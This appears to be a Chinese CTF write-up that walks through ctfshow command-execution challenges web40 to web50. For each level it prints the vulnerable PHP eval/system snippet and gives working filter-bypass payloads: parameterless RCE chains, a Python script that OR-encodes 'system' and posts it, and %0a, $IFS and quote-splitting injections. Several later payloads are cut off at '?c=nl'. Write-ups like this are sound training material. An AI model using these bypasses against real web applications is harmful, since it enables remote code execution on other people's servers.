ctfshow 命令执行(40-50)

web40

题目过滤了很多

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这题的考点是无参数RCE

参考https://www.cnblogs.com/NPFS/p/13778333.html

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数

print_r(scandir('.'))可以用来查看当前目录所有文件名 

接下来需要将括号中的.替代掉

localeconv()函数返回一包含本地数字及货币格式信息的数组ctfshow 命令执行(40-50)_第1张图片

例如

ctfshow 命令执行(40-50)_第2张图片 [int_frac_digits] => 127 用于指示小数部分的最大位数 其他同理

那么我们可利用localeconv()函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))中的参数.
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:

current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE

构造:print_r(scandir(current(localeconv())));
           print_r(scandir(pos(localeconv())));
           print_r(scandir(reset(localeconv())));
          //以上函数均可查看当前目录文件

可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

/?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

highlight_file 的别名show_source

/?c=show_source(next(array_reverse(scandir(current(localeconv())))));

ctfshow 命令执行(40-50)_第3张图片

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了^+~$[]{}&-等

屏蔽的比较多,我们可以跑脚本来生成可用字符的集合
思路是:
所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。

=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

我们通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。

import re
import requests

url="http://b158b18a-656f-48e7-8a1c-0968db46fff1.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

运行结果

ctfshow 命令执行(40-50)_第4张图片

修改参数

ctfshow 命令执行(40-50)_第5张图片

ctfshow 命令执行(40-50)_第6张图片

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中

> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

本题语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

所以我们要让命令回显,那么进行命令分隔即可,就是截断

截断方法:&&、||、%0a 等

?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

ctfshow 命令执行(40-50)_第7张图片

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次还过滤了cat;,因此我们可以用nl或者c"a"t来绕过:

?c=nl flag.php%0a
?c=c"a"t flag.php%0a

ctfshow 命令执行(40-50)_第8张图片 web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次又过滤了flag字符串,我们可以用通配符*补位从而绕过:

?c=c"a"t fl*.php%0a

ctfshow 命令执行(40-50)_第9张图片

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

本题的过滤条件:;catflag空格

我们可以用$IFS来绕过空格:

?c=echo$IFS`tac$IFS*`%0A
?c=c"a"t$IFS$fl*.php%0A

 

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件: catflag空格数字$*
绕过空格现在不能用$IFS绕过,但是可以用<>%09绕过(注意<和?不能连用,而%09不被过滤是因为上传到服务器就是tab键,不算数字)

payload

?c=nl

ctfshow 命令执行(40-50)_第10张图片

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤条件:分号flag空格数字$*morelessheadsorttail

绕过了,但是又好像没绕,上一题的payload也适用于这题:

?c=nl

ctfshow 命令执行(40-50)_第11张图片 

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

上面的payload适用

?c=nl

 

ctfshow 命令执行(40-50)_第12张图片

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

没变

?c=nl

ctfshow 命令执行(40-50)_第13张图片

web50


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、%、%09、&(编码后为%26)和/`

因为%09被过滤,空格只能用<绕过,只能使用上题的第一个payload

?c=nl

ctfshow 命令执行(40-50)_第14张图片

你可能感兴趣的:(学习)